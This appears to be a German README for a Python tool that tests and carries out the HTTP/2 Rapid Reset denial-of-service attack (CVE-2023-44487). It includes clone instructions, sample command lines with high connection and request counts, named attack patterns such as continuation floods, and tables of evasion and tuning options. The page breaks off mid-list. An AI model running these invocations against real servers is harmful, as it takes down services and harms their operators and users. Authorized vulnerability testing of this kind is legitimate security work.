
Python-basiertes Testwerkzeug für CVE-2023-44487 (HTTP/2 Rapid Reset) mit mehreren Angriffsmustern, granularer Konfiguration und Überwachung für autorisierte Sicherheitsbewertungen.
Ein umfassendes Python-Testwerkzeug für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Diese erweiterte Version bietet granulare Kontrolle über Testparameter, mehrere Angriffsmuster und erweiterte Überwachungsfunktionen.
Dieses Werkzeug ist NUR für Bildungszwecke und autorisierte Tests gedacht!
CVE-2023-44487, auch bekannt als „HTTP/2 Rapid Reset", ist eine kritische Schwachstelle im HTTP/2-Protokoll, die Angreifern Folgendes ermöglicht:
CVSS-Score: 7,5 (Hoch)
Auswirkung: Denial of Service, Ressourcenerschöpfung
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Sollte 3.7+ sein
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Option | Beschreibung | Standard |
|---|---|---|
-c, --connections N | Anzahl gleichzeitiger Verbindungen | 1 |
--connection-timeout SEC | Verbindungstimeout in Sekunden | 10 |
--read-timeout SEC | Lese-Timeout für Antworten | 5 |
--connection-delay SEC | Verzögerung zwischen Verbindungen | 0,0 |
| Option | Beschreibung | Standard |
|---|---|---|
-r, --requests N | Anfragen pro Verbindung | 100 |
--delay SEC | Verzögerung zwischen HEADERS und RST_STREAM | 0,001 |
--request-delay SEC | Verzögerung zwischen Anfragen | 0,0 |
--jitter FACTOR | Timing-Randomisierungsfaktor | 0,0 |
| Option | Beschreibung | Standard |
|---|---|---|
--pattern TYPE | Zu verwendendes Angriffsmuster | rapid_reset |
--burst-size N | Anfragen pro Burst | 10 |
--burst-delay SEC | Verzögerung zwischen Bursts | 0,1 |
Verfügbare Muster:
rapid_reset – Standard-Rapid-Reset-Angriffburst_reset – Burst-basierte Angriffegradual_reset – Allmählich steigende Raterandom_reset – Zufälliges Timingcontinuation_flood – CONTINUATION-Frame-Floodmixed_pattern – Mischung aus Mustern| Option | Beschreibung | Standard |
|---|---|---|
--window-size BYTES | HTTP/2-Anfangsfenstergröße | 65535 |
--frame-size BYTES | Maximale Framegröße | 16384 |
--header-table-size BYTES | HPACK-Header-Tabellengröße | 4096 |
--enable-push | HTTP/2-Server-Push aktivieren | False |
--rst-error-code CODE | RST_STREAM-Fehlercode | 8 |
| Option | Beschreibung | Standard |
|---|---|---|
--custom-headers HEADER | Benutzerdefinierte Header (Name: Wert) | None |
--random-headers | Zufällige Header generieren | False |
--header-count N | Anzahl zufälliger Header | 5 |
| Option | Beschreibung | Standard |
|---|---|---|
--randomize-streams | Zufällige Stream-IDs verwenden | False |
--priority-frames | Prioritätsinformationen einbeziehen | False |
--continue-on-error | Nach Fehlern fortfahren | True |
--max-errors N | Maximale Fehler vor dem Stoppen | 10 |
| Option | Beschreibung | Standard |
|---|---|---|
--track-latency | Anfragelatenz verfolgen | False |
--track-responses | Serverantworten verfolgen | False |
--monitor-memory | Speichernutzung überwachen | False |
| Option | Beschreibung | Standard |
|---|---|---|
--output FORMAT | Ausgabeformat | console |
--output-file FILE | Ausgabedateiname | automatisch generiert |
--verbose, -v | Ausführliche Ausgabe | False |
--debug | Debug-Protokollierung | False |
--log-file FILE | In Datei protokollieren | None |
Verfügbare Ausgabeformate:
console – Menschenlesbare Konsolenausgabejson – Maschinenlesbares JSONcsv – Tabellenkalkulationskompatibles CSVxml – Strukturiertes XML-FormatDas Werkzeug liefert umfassende Ergebnisse, einschließlich: